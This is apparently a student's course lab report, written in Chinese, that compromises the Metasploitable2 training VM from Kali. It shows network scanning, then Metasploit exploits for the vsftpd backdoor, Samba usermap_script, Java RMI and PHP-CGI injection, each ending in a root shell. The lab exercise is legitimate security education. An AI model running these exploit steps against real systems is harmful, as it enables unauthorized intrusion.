20232307 2025-2026-1 《网络与系统攻防技术》实验六实验报告

20232307 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

下载官方靶机Metasploitable2,kali作为攻击机。

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)

②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

③选做:也可以扫系统版本、漏洞等。

(2)Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

(4)Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

(5)PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

2.实验过程

2.1 前期渗透

(1)主机发现(可用Aux中的arp_sweep,search一下就可以use)

下载官方靶机Metasploitable2,kali作为攻击机。
查看攻击机和靶机的IP:
靶机的IP为:192.168.190.153

image

攻击机的IP为:192.168.190.137

image

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)
在kali虚拟机启动metasploit,使用arp_sweep模块扫描靶机所在的网段,使用命令如下:

msfconsole          # 启动Metasploit框架的交互式控制台(MSF终端)
search arp_sweep    # 在Metasploit的模块库中搜索arp_sweep模块
use 0               # 使用auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.190.0/24      #配置模块的目标主机范围
set THREADS 10      # 同时启动10个线程进行扫描,提高扫描效率
run

结果如下图所示:

ddca4243f32e137657e90e60364d1dd8

由上图可知,扫描发现了以下活跃主机:

192.168.190.1
192.168.190.2
192.168.190.153
192.168.190.254

这些主机标注为VMware, Inc.,说明它们很可能是运行在VMware虚拟化环境中的设备,比如虚拟机、VMware网络组件等。

(2)端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
① 使用namp扫描,使用如下命令:

nmap -sS -sV 192.168.190.153

-sS:表示使用TCP SYN 扫描,即半开扫描;-sV表示进行服务版本检测。对 192.168.190.153这台主机进行 TCP SYN 半开扫描,同时检测其开放端口上运行的服务及版本信息。

结果如下图所示:

f773599a872249ca6d0ac2ac8dab85d5

从 Nmap 扫描结果来看,目标主机是一台运行Linux系统的设备,开放了大量高危端口和服务。其中包括FTP、SSH、Telnet、HTTP、Samba、MySQL、VNC以及Apache Tomcat等服务。这些服务版本较旧且多为渗透测试靶机 “Metasploitable” 的典型配置,整体安全防护薄弱,存在极高的被攻击风险,可作为渗透测试的重点目标进行漏洞利用和权限提升尝试。

② 使用Metasploit的portscan/tcp模块

在kali中执行msfconsole启动metasploit

msfconsole

设置扫描的靶机的IP并运行

set RHOSTS 192.168.190.153      #配置模块的目标主机
set THREADS 10      # 同时启动10个线程进行扫描,提高扫描效率
run

结果如下图所示:

f7fb852b47f2d6a97652d3c64c2aaa28

由上图扫描结果可得:该主机开放了大量TCP端口,包括21、22、23、25、53、80等在内的多个常见服务端口均处于开放状态。结合此前Nmap扫描和ARP扫描的结果,进一步印证了该主机是一台安全防护薄弱的Metasploitable靶机,存在大量可被利用的服务和端口。

(3)扫描系统版本、漏洞等。
使用如下命令进行漏洞扫描:

nmap -script=vuln 192.168.190.153

-script=vuln:指定加载nmap的漏洞检测脚本集。vuln是预设的脚本类别,包含多个用于检测常见漏洞的脚本,如心脏出血、Shellshock、CVE 编号相关漏洞等,扫描时会对目标进行已知漏洞的探测。

扫描结果如下图所示:
21端口:
image

该主机的21/tcp端口存在高危漏洞,具体是vsFTPd版本2.3.4的后门漏洞。该漏洞状态为可利用,攻击者可通过该后门执行系统命令,扫描结果中执行id命令返回了uid=0(root) gid=0(root),表明已获取目标主机的 root 权限。

80端口:
image

扫描80端口可以发现该主机的Web服务存在HTTP方法滥用和SQL注入两类安全隐患。

139、1099端口:
image

139端口对应的netbios-ssn服务存在空会话攻击、信息泄露及远程利用风险。该端口用于Windows文件和打印机共享的NetBIOS会话服务,易被攻击者利用空会话获取系统账户信息,导致攻击者浏览共享资源、编辑删除文件甚至进一步控制主机。

1099端口的rmiregistry服务存在严重漏洞。该漏洞属于RMI注册表默认配置远程代码执行漏洞,而可导致远程代码执行。参考信息指向Metasploit框架中针对Java RMI服务的漏洞利用模块,说明该主机的RMI服务存在高危安全隐患,易被攻击者利用实现远程控制。

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

利用步骤:

msfconsole        #启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor    #选择漏洞
set RHOST 192.168.190.153   #设置要攻击的机器IP(靶机IP)
exploit/run        #开始攻击

af36463f5e7d61d7513afa763309396a

运行后结果如下图所示,利用成功,执行uname –a、 pwd、 id等命令验证

4f71decd4d1047c91ee902f072d21a82

通过Metasploit的vsftpd_234_backdoor漏洞利用模块,成功对192.168.190.153的 21端口发起攻击。利用该服务的经典后门漏洞,成功获取了目标主机的命令行Shell,使用id查看当前权限,确认是否为 root;使用uname -a获取系统内核版本。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

使用nmap -p 139 192.168.190.153查看靶机的139端口是否开放:

3a9c26df67626197848e768b38187ca2

可以看到,139端口的状态是open.

在msf中:

use exploit/multi/samba/usermap_script    #选择漏洞
set RHOST 192.168.190.153     #设置要攻击的机器IP
exploit/run                   #开始攻击

如下图所示:

4c8994f90a76c9da014a6a1b58db16d7

运行后执行uname–a验证:

5922def20a8ee7a222c9bca744660f13

结果可见:通过Metasploit的multi/samba/usermap_script漏洞利用模块,成功对192.168.190.153发起攻击。利用Samba服务的漏洞,建立了反向TCP Shell连接,获取到目标主机的命令行权限。执行uname -a命令后,确认目标主机运行的是Linux metasploitable 2.6.24-16-server系统。

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

操作步骤:

使用nmap -p 139 192.168.190.1099查看靶机的139端口是否开放:

166f53eb27c17b20f1e3ff22dbc86286

可以看到,1099端口的状态是open.

然后在MSF中:

use exploit/multi/misc/java_rmi_server    #选择漏洞
show options 查看配置参数      #查看配置参数
set RHOST 192.168.190.153     #设置要攻击的机器IP
exploit/run                   #开始攻击

9c90314bb0abe636917a081ea24179c2

运行后,使用如下命令:

sessions -i 1   #与ID为1的会话进行交互
shell    #进入meterpreter时,使用whoami验证下

image

进入shell环境后,执行pwd命令显示当前位于根目录,uname -a命令表明目标系统为Linux metasploitable 2.6.24-16-server版本的i686架构系统,ifconfig命令显示其IP地址为192.168.190.153。

2.5 PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

在kali中执行msfconsole,启动metasploit

msf > use exploit/multi/http/php_cgi_arg_injection    #选择漏洞
set RHOST 192.168.190.153     #设置要攻击的机器IP
exploit/run    #开始攻击

9c90314bb0abe636917a081ea24179c2

运行后结果如下图所示:

1c2cccc35d13c73686324c3028c078d4

通过shell命令获取目标系统的命令行交互环境,执行whoami命令后返回root,说明已获取目标系统的最高权限。

3.问题及解决方案

  • 问题1:Metasploitable2下载安装过程中出现卡顿,发现连校园网下载竟然要几个小时
  • 问题1解决方案:关掉重新下载,换用手机流量,下载飞速~

4.学习感悟、思考等

本次实验可以说是最顺利的一次实验,整体的实验过程非常流畅,可以说是基本没有什么问题,当然这也是因为有前期的实验二利用msf的经验和实验五通过msf选择漏洞攻陷靶机的基础,现在metasploit的用法掌握更进一步。

本次实验也让我进一步理解了网络攻防的逻辑,在实验过程中要理解实验的原理及每个命令的含义。学习和实验都是一个循序渐进的过程,提高理解力才能更进一步。

参考资料

posted @ 2025-11-18 08:53  20232307孟月  阅读(7)  评论(0)    收藏  举报